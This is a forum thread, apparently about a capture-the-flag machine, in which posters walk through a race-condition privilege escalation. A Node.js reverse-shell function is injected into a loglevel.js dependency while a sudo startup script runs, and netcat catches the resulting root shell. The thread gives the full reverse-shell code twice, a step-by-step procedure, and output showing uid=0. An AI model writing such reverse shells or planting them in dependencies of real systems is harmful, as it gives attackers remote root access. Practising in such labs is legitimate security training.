June 2, 2022 at 8:37 AM
(June 2, 2022, 08:34 AM)Cipher Wrote:(May 30, 2022, 03:13 AM)Himitsu Wrote:(May 30, 2022, 01:54 AM)Peter Wrote:(May 29, 2022, 06:27 AM)dude4695 Wrote: for root
better create 2 ssh connection 1 for running startup.sh and 1 for edit file
ssh1: sudo /opt/app/startup.sh
ssh2: vim /opt/app/node_modules/loglevel/lib/loglevel.js
and add this function on top in file
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("bash", []);
var client = new net.Socket();
client.connect(PORT, "IP", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
you will get this payload from here
https://www.revshells.com/
stop startup.sh app and run again you will get root shell
I dont make to run. a file desapiers. no reverse shell , de code to inject banish. Any tip o idea. please
You need to do this a little bit faster, else loglevel directory will be removed.
Copy this function in memory (Ctrl+c) and replace with your IP and PORT:(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("bash", []);
var client = new net.Socket();
client.connect(4000, "10.10.1X.XX", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
1. On Terminal 1, open SSH with kavi user
2. On Terminal 2, open a second SSH with kavi user
then prepare your command (but don't launch because file not yet exist):
vim /opt/app/node_modules/loglevel/lib/loglevel.js
3. On Terminal 3:
nc -lvnp 4000
4. On Terminal1:
sudo /opt/app/startup.sh
5. On Terminal 2:
launch your previous command and paste on the TOP your function in step 2
then write and exit (with :x it's more faster)
6. On Terminal1:
quit and re-run sudo /opt/app/startup.sh
7. On Terminal3:
we can see you reverse shell has been triggered:─$ nc -lvnp 4000
listening on [any] 4000 ...
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.11.165] 50614
uid=0(root) gid=0(root) groups=0(root)
You need to switch quickly between your 2 sessions SSH for step 4, 5 and 6, that's all.
All explanation from @Dude4695 are enough.
"/opt/app/node_modules/loglevel/lib/loglevel.js" E212: Can't open file for writing
Error writing /opt/app/node_modules/loglevel/lib/loglevel.js: Permission denied